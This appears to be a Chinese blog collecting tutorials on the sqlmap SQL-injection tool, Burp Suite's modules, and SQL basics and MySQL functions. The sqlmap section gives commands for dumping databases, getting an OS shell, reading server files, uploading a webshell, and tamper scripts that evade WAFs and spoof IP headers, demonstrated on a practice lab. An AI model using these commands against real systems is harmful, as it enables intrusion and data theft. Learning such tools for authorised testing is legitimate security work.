Jay jay
文章28
标签2
分类0
sqlmap使用教程

sqlmap使用教程

SQLmap简介

sqlmap是一个开源渗透测试工具,可以用来进行自动化检测,利用sql注入漏洞获取数据库服务器的权限。它具有强大的检测引擎,针对各种不同类型的数据库的渗透测试功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接方式操作系统命令。
它支持五种注入模式:

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入
  2. 基于报错注入,即页面会返回错误信息,或者把注入的语句结果直接返回在页面中
  3. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行来判断。
  4. 联合查询注入,可以使用union的情况下的注入。
  5. 对查询注入,可以同时执行多条语句的执行时的注入。

sqlmap是一个跨屏台的工具,很好用,是sql注入的强大工具。

sqlmap的安装

首先它是基于python的首先需要在电脑中安装好python环境然后到sqlmap官网http://sqlmap.org/下载和python环境相匹配的版本的压缩包,然后解压到python安装的文件下通过命令行启动即可。
解压位置
启动

sqlmap使用参数详解

在这里我们使用自己虚拟机搭建的sqli-labs靶场作为演示来学习使用sqlmap。
靶场

选项
一些参数选项

-h,--help显示本地帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序版本信息并退出
-v 数字 :信息级别:0-6(1缺省),具体含义为
0只显示python错误以及严重的信息
1同时显示基本信息和警告信息(默认)
2同时显示debug信息
3同时显示注入的payload信息
4同时显示http请求
5同时显示http响应头
6同时显示http响应页面
如果想看到sqlmap发送的payload最好的等级为3

查看版本新信息
目标

-d direct 直接连接数据库的连接字符串 如:python sqlmap.py -d "mysql://root:root@192.168.23.128:3306/security" 需要有python-pymysql这个库

-u url ,--url=url 目标url
-p 指定注入参数
-l logfile 从不让拍或者webscarab代理日志文件中分析目标
-x sitemapurl 从远程网站地图sitemap.xml文件来解析
-m BULKFILE 将目标地址保存在文件中,一行为一个url地址进行批量检测
-r REQUESTFILE 从文件中加载http请求,sqlmap可以从一个文件中获取http请求,这样就可以跳过设置一些其他参数如cookie、post数据等等,请求是https的时需要配合--force-ssl参数来使用,或者可以在host头后加443
-g GOOGLEDORK 从谷歌中加载结果目标url(只获取前100个结果,需要魔法)
-c configfile 从配置ini文件中加载选项

使用-d尝试连接
连接数据库

使用-u参数尝试
sqlmap.py -u 选项对于不常使用的网站可以直接使用 -u参数指定url地址探测是否存在注入
扫描
也可以直接添加–batch省区询问直接选择默认项
扫描出id存在boolean盲注,并且给出结果mysql版本和服务器类型和php版本
出现boolean盲注

使用-r指定文件从文件中加载目标
sqlmap.py -r 文件路径 使用该命令时必须指明文件的绝对路径,验证过程与-u参数类似,判断可注入的参数,判断那种sql注入进行注入
可以使用-p参数来指定注入点,使用–skip参数来跳过注入点,也可以使用*来表注注入点,星号添加位置是你认为可能存在的注入点
数据包
保存为txt用sqlmap跑
星号指定注入点

获取信息
–current-db获取当前数据库名
获取当前数据库名
–dbs是获取数据库(暴库)
获取数据库
-D指定数据库名 –tables参数是获取数据库中的表(暴表)
指定库名暴表名
-T指定表名 –columns参数是获取数据库表中的字段名(暴字段)
指定表名暴字段
-C指定字段名用,分隔 –dump参数获取字段的值
获取指定字段值
–start指定开始行 –stop指定结束行指定第几行到第几行的数据
获取指定行数据
–dump-all获取数据库中所有数据
获取所有数据

其他命令
level是测试等级一共有五个级别,级别越高检测内容越多,级别大于等于2时会检测cookie是否含有注入,大于等于3时会检测user-angent和referer是否有注入。推荐使用3

--level 5:探测等级

探测等级随着等级的变高探测的东西会更更多,不加命令默认探测等级为1,最高为5,。并且随着探测等级越来越高,所需要花费的时间会更多

--level 共有五个等级,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。

level>=2的时候就会测试HTTP Cookie。

level>=3的时候就会测试HTTP User-Agent/Referer头。

level=5 的时候会测试HTTP Host

为了保证全面性建议使用更高的探测等级进行他探测

–risk=RISK 执行测试的风险(0-3,默认为1)
risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。 常用就是默认1


os是检测数据库版信息的一个命令,但sqlmap默认会自动检测,–os-shell当数据库为mysql、postgresql或sqlserver时可以通过sqlmap执行操作系统命令

当数据库是mysql时满足当前用户为root知道网站根目录
sqlmap -u "xxx" --os-shell
会让我们选择网站脚本
选脚本
接下来让我们判断网站可写目录的方法
可写目录的方法

【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)
【2】自定义网络根目录绝对路径
【3】指定自定义的路径文件
【4】暴力破解

执行os-shell时sqlmap会向网站根目录写入两个文件tmpblwkd.php和tmpueqch.php。真正的木马文件是前者,如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入x或q退出时sqlmap才会将该文件自动删除
命令成功执行


用来表注注入点:sqlmap可以区分一个url中的参数来进行注入点测试,但在遇到一些做了伪静态的网页就无法自动识别了
类似于/admin/1,sqlmap无法进行注入测试,但实际上可能是/admin.php?id=1 只是把参数隐藏在了url中,对于这样只需要在参数后加上一个星号即可如/admin/1
星号之后众生平等


post数据可以使用–data参数将要提交的数据添加进来就能测试如

sqlmap.py -u "url" --data="id=1&admin=2"

cookie可以使用–cookie参数来添加参数如

sqlmap.py -u "url" --cookie 'customer=xxxxxxx'

-g参数会主动爬取google上搜索结果来进行注入,对带有get参数的url进行挨个测试,前提魔法


超时延迟-timeout 如超时30秒 -timeout 30


注入测试脚本参数-tamper:sqlmap自带一个脚本库,内置的脚本库对payload进行了混淆,可以绕过一些waf在sqlmap的安装目录tamper下,脚本可以自己编写

sqlmap.py -u "url" -tamper "脚本文件"

tamper文件夹下个脚本功能

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号(>)

space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py关键字前加注释


–current-user当前数据库使用账户
查看当前账户


–mobile模拟手机进行测试 –smart智能判断 –passwords -v1对加密的密码尝试进行哈希对撞 –roles可以查看数据管理员的角色
–is-dba查看是否是管理员权限


–file-read当数据库为mysql、postgresql或sqlserver并且当前用户有权限时可以读取指定文件,可以时文本文件或者二进制文件
如我们读取目标服务器c盘test.txt
sqlmap -u “url” –file-read “文件路径”


–file-write –file-dest上传文件到数据库服务器中
当数据库为mysql、postgresql或sqlserver通过powershell,并且当前用户有权限向任意目录写文件时,可以上传文件到数据库服务器,文件可以是文本,也可以是二进制文件,所以利用文件上传一句话木马或者shell
前提我们必须知道服务器的绝对路径:

python2 sqlmap.py -u http://xxx/sqli-labs/Less-2/?id=1 
--file-write C:\Users\mi\Desktop\1.php
--file-dest "C:\phpStudy\PHPTutorial\WWW\2.php"
#将本地的C:\Users\mi\Desktop\1.php文件上传到目标服务器C:\phpStudy\PHPTutorial\WWW\2.php

–proxy挂代理:

  1. 直接代理可直接在-u之后直接输入–proxy “代理地址:端口”此时就使用代理访问了
  2. 简介代理:利用burp将sqlmap代理写成监听地址那么sqlmap数据就会通过burp发出这样做可以监听sqlmap发出的请求包能防ip被封。

–dbms 数据库名 指定数据库名称
-level指定等级一般为3
-risk指定风险



必要时需要自己手动写python脚本修改payload语句。
在sqlmap中–tamper参数是用来引入用户自定义的脚本来修改注入时的payload,可以使用tamper来绕过waf,替换被过滤的关键字一下是一个基本的tamper结构

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级

def dependencies(): # 声明当前脚本适用/不适用的范围,可以为空。
pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
return payload

需要把他保存为my.py放入sqlmp/tamper路径下,然后使用时加上参数–tamper=my即可

import我们可以使用这个关键字导入sqlmap的内部库,sqlmap为我们提供了很多封装好的函数和数据类型如priority源于sqlmap/lib/core/enums.py里边定义了优先级有一下几个参数:

LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100

dependencies主要是提示用户这个tamper支持那些数据库
最终要的是tamper函数我们可以把我们想要实现的功能写在这个函数里,这个函数的参数payload就是原始sqlmap的注入payload,我们要实现绕过一般就是要修改这个参数,kwargs是针对http头的修改,如果是修改头部就要使用这个参数。
修改payload示例

def tamper(payload, **kwargs):
payload = payload.lower()
payload = payload.replace('select','seleselectct')
payload = payload.replace('union','ununionion')
return payload

修改http头实例

def tamper(payload, **kwargs):
"""
Append a fake HTTP header 'X-Forwarded-For'
"""

headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = randomIP()
headers["X-Client-Ip"] = randomIP()
headers["X-Real-Ip"] = randomIP()
return payload

在实际的渗透中我们要根据实际情况编写修改tamper中的payload。

burpsuite使用方法

burpsuite使用方法

Burpsuite简介

Burp Suite简称BP,是用于攻击web应用程序的集成平台,它包含了许多工具,并为这些工具设计了很多接口,以促进加快攻击应用程序的过程。

中间人攻击

中间人攻击简称MITM攻击是一种间接的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为中间人。burpsuite抓包就是用的是这种方式。

burpsuite安装

到官网下载jar包,由于它是在java环境下运行的所以需要首先本地配置好java运行环境,用java命令启动。安装完成后抓包提示不安全无页面响应则需要安装根证书才能成功抓包。
根证书的安装:
安装根证书
根证书导入完成就可以抓取到数据包了。

burpsuite功能介绍

Doshboard模块

这个模块分为三小块:tasks 任务 event log 事件日志 issue activity动态发现的问题
task的默认开关:

  • live passive crawl from proxy(all traffic) 被动抓取来自代理流量
  • live audit from proxy (all traffic)实时审计来自代理流量

new scan(主动扫描)
主动扫描:

scan details 选项有两个,一个是爬虫加审计,一个是只有审计,然后填上url即可
scan configuration 可以设置自己的ua,或者按照默认配置即可
application login options 应用登录选项,只有爬虫检测到登录表单会自动提交 可自定义配置账号
resource pool option 并发数配置默认为10

主动扫描

new live scan (被动扫描)
live audit 动态审计
live passive crawl 动态被动爬虫
tools scope 选择proxy repeater intruder审计那些流量
everything 包含所有
suite scope 使用burpsuite里加入scope
custom scope 自定义选项,可以使用suite scope,可以新增等
deduplication 删除重复url,减少重复扫描,默认没有选
其他功能和主动扫描一样
被动扫描

target模块

target是帮助渗透更好地了解目标应用的整体状况、当前工作设计哪些目标域,分析可能存在的攻击面等信息有三个部分site map、scope、issue definitions。

site map 网站地图
网站地图
功能模块:
include in scope 定义范围内规则
exclude from scope 定义排除范文内规则
渗透测试过程中,可以通过域名或主机名去限制拦截内容,比如只想拦截login目录下的所有请求,此时的作用域就是目录

1 限制站点地图和proxy历史的显示结果
2 告诉burp proxy拦截那些请求
3 burp spider抓取那些内容
4 burp scanner 自动扫描那些作用域的安全漏洞
5 在burp intruder和repeater中指定url

范围

issue definitions
安全专业的词汇和定义说明。

核心功能-Proxy代理

数据是一切的基础,proxy代理模块主要用于拦截浏览器的http回话内容,给模块提供数据,proxy模块如下图
代理
代理模块有四个部分intercept、http history、websockets history、options。

intercept
这个功能是截断,就是控制整个代理模块是否抓包,用于显示和修改http请求和响应。新版本中增加了专用的浏览器方便使用。低版本则需要手动在浏览器中设置网络代理。
抓包模块
http history
这里记录了每一个http数据包,可以通过此功能查看历史数据包。也可以过滤数据包,还可以查看数据包的详细信息。
http history
还可以数据包过滤
websockets history
和http history功能十分类似,用于记录websockets,实际很少用。
websockets
options
这个部分主要用来配置代理:
配置
配置

intruder模块

为web应用程序自定义攻击模块,首先将proxy抓取到的数据包发送到intruder中然后根据模块说明自定义修改配置进行攻击。
positions 选择攻击模式和攻击范围
payloads 有效载荷攻击字典模块配置
resource pool 资源池管理情况
options intruder攻击配置模块
intruder
使用
在payloads可以配置不同的类型如brute forcer暴力破解字符集和长度或者不配置payload
payloads配置

repeater模块 – 中继器

它根据抓到的数据包,修改数据包中的内容重发查看响应的反馈信息。
一些词的简单说明

send 发送数据包
cancel 中断发送
request 请求包
response 响应包
raw 接受到的数据包信息包括响应包数据
render 反馈数据包的响应包页面不是代码形式
hex 十六进制数据消息

repeater

sequencer模块–定序器

这个模块是检测数据包质量的工具,主要是为检测数据包代码质量,检测数据是否有被伪造的风险,很少用,不熟悉不要再生产环境下使用。

decoder模块

这个模块是编码和解码工具有多种编码格式,多重解码加密模式
decode 解码
encode 加密
hash 散列
smart decode 智能解码

编码类型:
url、html、base64、ascll、16进制、8进制、2进制、GZIP

解码

comparer模块

数据对比模块,举例来说,类似登录页面,登录成功和失败的响应包是不同的,因此可以对比寻找差异找突破点。
对比模块
words 选项文本数据对比结果
bytes 字节16进制对比结果

logger模块

日志模块,查看日志,方便筛选需要的数据包然后也方便看到数据包的响应包。
日志

extender模块

扩展模块:
extender 支持第三方拓展插件功能,主要有四个功能
extender 扩展
Bappstore 应用程序商店
APIS 接口
setting 选项

extender
允许使用自己的或者第三方代码扩展
details 细节 output 输出 error 错误
扩展

Bapp store
插件商店:refresh list 刷新列表 manual install 自定义安装
installing 安装
插件商店

apis
通过拓展程序api常见自己的扩展,自定义burpsuite的行为
apis

setting
扩展的相关设置
automatically reload extensions on startup 启动时自动重新加载扩展
automatically update installed bapp on startup 启动时自动更新已安装的插件
java environment java环境 加载jar文件的文件夹
python environment python环境 在jiava中实现python解释器
第一个选项 jython独立的jar文件
第二个选项 加载模块
ruby environment ruby环境
插件环境

setting模块

对burp进行设置的选项具体内容不进行详细解释
设置

SQL学习

SQL学习

定义

SQL是用于访问和处理数据库的标准计算机语言:

  • SQL指结构化查询语言
  • SQL使我们有能力访问数据库
  • SQL是一种ANSI的标准计算机语言

RDBMS指的是关系型数据库管理系统

  • RDBMS中的数据存储在被称为表(tables)的数据库对象中
  • 表是相关数据项的集合,它由行列组成

分类

数据库操作语言DML和数据库定义语言DDL
SQL(结构化查询语言)适用于执行查询的语法,但SQL语言也包含用于更新、插入和删除记录的语法。

数据库操作语言DML
查询和更新指令构成了SQL的DML部分:更多的是操作表里的数据

select - 从数据库表中获取数据
update - 更新数据库表中的数据
delete - 从数据库表中删除数据
insert into -向数据库表中插入数据

数据库定义语言DDL
SQL的数据定义语言DDL部分使我们有能力创建或者删除表格:更多的是操作数据库及表
数据库中最重要的DDL语句:

create database - 创建新数据库
alter database - 修改数据库
create table - 创建新表
alter table - 变更或改变数据库表名
drop table - 删除表
create index - 创建索引(搜索键)
drop index - 删除索引

数据库的语句

select 和 select * 语句
select语句用于从表中选取数据,结果被存储在一个结果表中(称结果集)

# 语法
select 列名称 from 表名称

select * from 表名称

查询语句

select distinct语句
在表中可能包含重复值,该语句用于列出不同的distinct的值
distinct用于返回唯一不同的值

select distinct 列名称 from 表名称

distinct语句

where子句
如需有条件查询表中的数据,可以将where子句添加到select语句中

select 列名称 from 表名称 where 列 运算符 值

where条件
运算符有:
where运算符
在某些版本的sql中<>可以写为!=

and 和 or 运算符
and 和 or 运算符用于基于一个以上的条件对记录进行过滤
and 和 or 可在where子语句中把两个或多个条件结合起来
如果第一个和第二个条件都成了,则and运算符显示一条记录
如果第一个和第二个条件中只要有一个成立,则or运算符显示一条记录

and和or

oder by语句
order by语句用于根据指定的列对结果集进行排序
order by语句默认按照升序对记录进行排序
如果希望按照降序排列需要使用desc关键字,升序的关键字是asc

#以字母顺序显示名称
select username,level from users order by username
#以字母顺序显示名字,并以级别显示顺序
select username,level from users order by level
#以字母顺序显示名字,并以级别逆序排列
select username,level from users order by level desc

order by语句

insert into语句
insert into语句用于向表格中插入新的行

insert into 表名称 values (值1,值2,...)
也可以指定索要插入的数据的列
insert into 表名称 (列1,列2,...) values (值1,值2,...)

插入信息

update语句
update语句用于修改表中的数据

update 表名称 set 列名称 = 新 值 where 列名称 = 某 值

修改更新数据

delete语句
delete语句用于删除表中的行:

delete from 表名称 where 列名称 =

删除一行

可以在不删除表的情况下删除所有行,这意味着表的结构,属性和索引都是完整的

delete from 表名称

delete * from 表名称

清空表

create语句
create语句用来创建数据库和库中的表

#创建表
create table 表名(
属性名1 类型 primary key not null, --primary是主键 not null 是不为空
属性名2 类型 default '值', ---default用来指定默认值
属性名3 类型 --注意最后一条语句不需要加,号
)

#创建数据库
create database 数据库名称 --创建数据库
on primary
(
name --数据库的逻辑名称
filename
--物理存放位置及物理文件名称(Student_info.mdf就是在磁盘上显示的名称)
size --设置数据文件初始大小
maxsize --设置最大限制
filegrowth --设置主数据文件增长幅度
)
log on --定义事务日志文件
(
name --逻辑名称
filename --物理存放位置及物理文件名称
size= --设置事务日志文件初始大小
maxsize --设置最大限制为
filegrowth --设置事务日志增长幅度
)

创建表

top子句
top子句用于规定要返回的记录数目。对于拥有数千条记录的大型表来说top子句是很有用的。注意并非所有的数据库都支持top子句。

# SQL Server 的语法

SELECT TOP number|percent column_name(s) FROM table_name

# MySQL 语法

SELECT column_name(s) FROM table_name LIMIT number

# Oracle 语法

SELECT column_name(s) FROM table_name WHERE ROWNUM <= number

limit数据分页
limit用于限定返回记录数

limit n #提取n条数据
limit m,n #跳过m条数据,提取n条数据

limit限定
limit

like操作符
like操作符用在where子句中搜索列表中的指定模式。

select 字段名 from 表名 where 字段名 like pattern
select * from message where content like '%g'
select * from message where content like 'g%'
select * from message where content not like '%g%'
# not 关键字 不包含
select * from 表名 where 字段名 not like '%g%'

%可以用来定义通配符(模式中缺少的字母)
like关键字查询

通配符
在搜索数据库中的数据时,sql通配符可以代替一个或多个字符。sql通配符必须和like运算符一起使用。[]通配符需要使用regexp关键字
通配符

#使用_通配符 仅代替一个字符
select * from message where content like '_g'
#使用[charlist]通配符 字符列中的任何单一字符
select * from message where content regexp '[ds]%' --包含
select * from message where content regexp '[!g]%' --不包含

通配符

IN操作符
in操作符允许我们在where子句中规定多个值

select 字段名 from 表名 where 字段名 in (value1,value2,...)

测试in操作符

not in 与 null 之间的关系
A not in B的原理是拿A表值与B表值做是否不等的比较, 也就是a != b. 在sql中, null是缺失未知值而不是空值
当你判断任意值a != null时, 官方说, “You cannot use arithmetic comparison operators such as =, <, or <> to test for NULL”, 任何与null值的对比都将返回null. 因此返回结果为否,这点可以用代码 select if(1 = null, ‘true’, ‘false’)证实.
测试

BETWEEN操作符
操作符between…and会选取介于两个值之间的数据范围,这些值可以是数值、文本或者日期

select 字段名 from 表名 where 字段名 between value1 and value2 

between  and

注意:不同的数据库对这个操作符的处理方式是有差异的。所以使用时要检查数据库如何处理操作符(左闭右开or全开or左开右闭or全闭)

alias(别名)
通过使用alias可以为列名和表名指定别名

表的alias语法
select 字段名 from 表名 as 别名
列的alias语法
select 字段名 as 别名 from 表名

别名

JOIN
join用于根据两个或多个表中间的列的关系从这些表中查询数据如果表中至少一个匹配则返回行
inner join内连接
在表中存在至少一个匹配时,则返回行。inner join 和join是相同的。

select 字段名 from 表名1 inner join 表名2 on 表名1.字段名=表名2.字段名

join

left join/left outer join左连接
即使右表中没有匹配也从左表返回所有的行

select 字段名 from 表名1 left join 表名2 on 表名1.字段名=表名2.字段名

right join / right outer join右连接
即使左表中没有匹配,也从右表返回所有行

select 字段名 from 表名1 right join 表名2 on 表名1.字段名=表名2.字段名

full join/full outer join全连接
只要其中一个表存在匹配就返回行

select 字段名 from 表名1 full join 表名2 on 表名1.字段名=表名2.字段名

join

union操作符
union操作符用于合并两个或多个select语句的结果集。union内部的select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时每一条select语句中的列的顺序必须相同。union操作符默认选取不同的值。如果允许重复的值,请使用union all
union结果集中的列名总是等于union中第一个select语句中的列名。
行专列用groupby+sumif列转行用unionn all

union语法 --union命令只会选取不同的值
select 字段名 from 表名1 union select 字段名 from 表名2
union all语法
select 字段名 from 表名1 union all select 字段名 from 表名2

union

数据库的一些函数

一、数学函数
abs(x) 返回x的绝对值
bin(x) 返回x的二进制(oct返回八进制,hex返回十六进制)
ceiling(x) 返回大于x的最小整数值
exp(x) 返回值e(自然对数的底)的x次方
floor(x) 返回小于x的最大整数值
greatest(x1,x2,...,xn)返回集合中最大的值
least(x1,x2,...,xn) 返回集合中最小的值
ln(x) 返回x的自然对数
log(x,y)返回x的以y为底的对数
mod(x,y) 返回x/y的模(余数)
pi()返回pi的值(圆周率)
rand()返回0到1内的随机值,可以通过提供一个参数(种子)使rand()随机数生成器生成一个指定的值。
round(x,y)返回参数x的四舍五入的有y位小数的值
sign(x) 返回代表数字x的符号的值
sqrt(x) 返回一个数的平方根
truncate(x,y) 返回数字x截短为y位小数的结果

二、聚合函数(常用于group by从句的select查询中)
avg(col)返回指定列的平均值
count(col)返回指定列中非null值的个数
min(col)返回指定列的最小值
max(col)返回指定列的最大值
sum(col)返回指定列的所有值之和
group_concat(col) 返回由属于一组的列值连接组合而成的结果

三、字符串函数
ascii(char)返回字符的ascii码值
bit_length(str)返回字符串的比特长度
concat(s1,s2...,sn)将s1,s2...,sn连接成字符串
concat_ws(sep,s1,s2...,sn)将s1,s2...,sn连接成字符串,并用sep字符间隔
insert(str,x,y,instr) 将字符串str从第x位置开始,y个字符长的子串替换为字符串instr,返回结果
find_in_set(str,list)分析逗号分隔的list列表,如果发现str,返回str在list中的位置
lcase(str)或lower(str) 返回将字符串str中所有字符改变为小写后的结果
left(str,x)返回字符串str中最左边的x个字符
length(s)返回字符串str中的字符数
ltrim(str) 从字符串str中切掉开头的空格
position(substr in str) 返回子串substr在字符串str中第一次出现的位置
quote(str) 用反斜杠转义str中的单引号
repeat(str,srchstr,rplcstr)返回字符串str重复x次的结果
reverse(str) 返回颠倒字符串str的结果
right(str,x) 返回字符串str中最右边的x个字符
rtrim(str) 返回字符串str尾部的空格
strcmp(s1,s2)比较字符串s1和s2
trim(str)去除字符串首部和尾部的所有空格
ucase(str)或upper(str) 返回将字符串str中所有字符转变为大写后的结果

四、日期和时间函数
curdate()或current_date() 返回当前的日期
curtime()或current_time() 返回当前的时间
date_add(date,interval int keyword)返回日期date加上间隔时间int的结果(int必须按照关键字进行格式化),如:selectdate_add(current_date,interval 6 month);
date_format(date,fmt) 依照指定的fmt格式格式化日期date
date_sub(date,interval int keyword)返回日期date加上间隔时间int的结果(int必须按照关键字进行格式化),如:selectdate_sub(current_date,interval 6 month);
dayofweek(date) 返回date所代表的一星期中的第几天(1~7)
dayofmonth(date) 返回date是一个月的第几天(1~31)
dayofyear(date) 返回date是一年的第几天(1~366)
dayname(date) 返回date的星期名,如:select dayname(current_date);
from_unixtime(ts,fmt) 根据指定的fmt格式,格式化unix时间戳ts
hour(time) 返回time的小时值(0~23)
minute(time) 返回time的分钟值(0~59)
month(date) 返回date的月份值(1~12)
monthname(date) 返回date的月份名,如:select monthname(current_date);
now() 返回当前的日期和时间
quarter(date) 返回date在一年中的季度(1~4),如select quarter(current_date);
week(date) 返回日期date为一年中第几周(0~53)
year(date) 返回日期date的年份(1000~9999)
一些示例:
获取当前系统时间:select from_unixtime(unix_timestamp());
select extract(year_month from current_date);
select extract(day_second from current_date);
select extract(hour_minute from current_date);
返回两个日期值之间的差值(月数):select period_diff(200302,199802);
在mysql中计算年龄:
select date_format(from_days(to_days(now())-to_days(birthday)),'%y')+0 as age from employee;
这样,如果brithday是未来的年月日的话,计算结果为0
下面的sql语句计算员工的绝对年龄,即当birthday是未来的日期时,将得到负值。
select date_format(now(), '%y') - date_format(birthday, '%y') -(date_format(now(), '00-%m-%d') <date_format(birthday, '00-%m-%d')) as age from employee

五、加密函数
aes_encrypt(str,key) 返回用密钥key对字符串str利用高级加密标准算法加密后的结果,调用aes_encrypt的结果是一个二进制字符串,以blob类型存储
aes_decrypt(str,key) 返回用密钥key对字符串str利用高级加密标准算法解密后的结果
decode(str,key) 使用key作为密钥解密加密字符串str
encrypt(str,salt) 使用unixcrypt()函数,用关键词salt(一个可以惟一确定口令的字符串,就像钥匙一样)加密字符串str
encode(str,key) 使用key作为密钥加密字符串str,调用encode()的结果是一个二进制字符串,它以blob类型存储
md5() 计算字符串str的md5校验和
password(str) 返回字符串str的加密版本,这个加密过程是不可逆转的,和unix密码加密过程使用不同的算法。
sha() 计算字符串str的安全散列算法(sha)校验和
示例:
select encrypt('root','salt');
select encode('xufeng','key');
select decode(encode('xufeng','key'),'key');#加解密放在一起
select aes_encrypt('root','key');
select aes_decrypt(aes_encrypt('root','key'),'key');
select md5('123456');
select sha('123456');

六、控制流函数
mysql有4个函数是用来进行条件操作的,这些函数可以实现sql的条件逻辑,允许开发者将一些应用程序业务逻辑转换到数据库后台。
mysql控制流函数:
case when[test1] then [result1]...else [default] end如果testn是真,则返回resultn,否则返回default
case [test] when[val1] then [result]...else [default]end 如果test和valn相等,则返回resultn,否则返回default
if(test,t,f) 如果test是真,返回t;否则返回f
ifnull(arg1,arg2) 如果arg1不是空,返回arg1,否则返回arg2
nullif(arg1,arg2) 如果arg1=arg2返回null;否则返回arg1
这些函数的第一个是ifnull(),它有两个参数,并且对第一个参数进行判断。如果第一个参数不是null,函数就会向调用者返回第一个参数;如果是null,将返回第二个参数。
如:select ifnull(1,2), ifnull(null,10),ifnull(4*null,'false');
nullif()函数将会检验提供的两个参数是否相等,如果相等,则返回null,如果不相等,就返回第一个参数。
如:select nullif(1,1),nullif('a','b'),nullif(2+3,4+1);
和许多脚本语言提供的if()函数一样,mysql的if()函数也可以建立一个简单的条件测试,这个函数有三个参数,第一个是要被判断的表达式,如果表达式为真,if()将会返回第二个参数,如果为假,if()将会返回第三个参数。
如:selectif(1<10,2,3),if(56>100,'true','false');
if()函数在只有两种可能结果时才适合使用。然而,在现实世界中,我们可能发现在条件测试中会需要多个分支。在这种情况下,mysql提供了case函数,它和php及perl语言的switch-case条件例程一样。
case函数的格式有些复杂,通常如下所示:
case [expression to be evaluated]
when [val 1] then [result 1]
when [val 2] then [result 2]
when [val 3] then [result 3]
......
when [val n] then [result n]
else [default result]
end
这里,第一个参数是要被判断的值或表达式,接下来的是一系列的when-then块,每一块的第一个参数指定要比较的值,如果为真,就返回结果。所有的when-then块将以else块结束,当end结束了所有外部的case块时,如果前面的每一个块都不匹配就会返回else块指定的默认结果。如果没有指定else块,而且所有的when-then比较都不是真,mysql将会返回null
case函数还有另外一种句法,有时使用起来非常方便,如下:
case
when [conditional test 1] then [result 1]
when [conditional test 2] then [result 2]
else [default result]
end
这种条件下,返回的结果取决于相应的条件测试是否为真。
示例:
mysql>select case 'green'
when 'red' then 'stop'
when 'green' then 'go' end;
select case 9 when 1 then 'a' when 2 then 'b' else 'n/a' end;
select case when (2+2)=4 then 'ok' when(2+2)<>4 then 'not ok' end asstatus;
select name,if((isactive = 1),'已激活','未激活') as result fromuserlogininfo;
select fname,lname,(math+sci+lit) as total,
case when (math+sci+lit) < 50 then 'd'
when (math+sci+lit) between 50 and 150 then 'c'
when (math+sci+lit) between 151 and 250 then 'b'
else 'a' end
as grade from marks;
select if(encrypt('sue','ts')=upass,'allow','deny') as loginresultfrom users where uname = 'sue';#一个登陆验证

七、格式化函数
date_format(date,fmt) 依照字符串fmt格式化日期date
format(x,y) 把x格式化为以逗号隔开的数字序列,y是结果的小数位数
inet_aton(ip) 返回ip地址的数字表示
inet_ntoa(num) 返回数字所代表的ip地址
time_format(time,fmt) 依照字符串fmt格式化时间time
其中最简单的是format()函数,它可以把大的数值格式化为以逗号间隔的易读的序列。
示例:
select format(34234.34323432,3);
select date_format(now(),'%w,%d %m %y %r');
select date_format(now(),'%y-%m-%d');
select date_format(19990330,'%y-%m-%d');
select date_format(now(),'%h:%i %p');
select inet_aton('10.122.89.47');
select inet_ntoa(175790383);

八、类型转化函数
为了进行数据类型转化,mysql提供了cast()函数,它可以把一个值转化为指定的数据类型。类型有:binary,char,date,time,datetime,signed,unsigned
示例:
select cast(now() as signed integer),curdate()+0;
select 'f'=binary 'f','f'=cast('f' as binary);

九、系统信息函数
database() 返回当前数据库名
benchmark(count,expr) 将表达式expr重复运行count次
connection_id() 返回当前客户的连接id
found_rows() 返回最后一个select查询进行检索的总行数
user()或system_user() 返回当前登陆用户名
version() 返回mysql服务器的版本
示例:
select database(),version(),user();
selectbenchmark(9999999,log(rand()*pi()));#该例中,mysql计算log(rand()*pi())表达式9999999次。

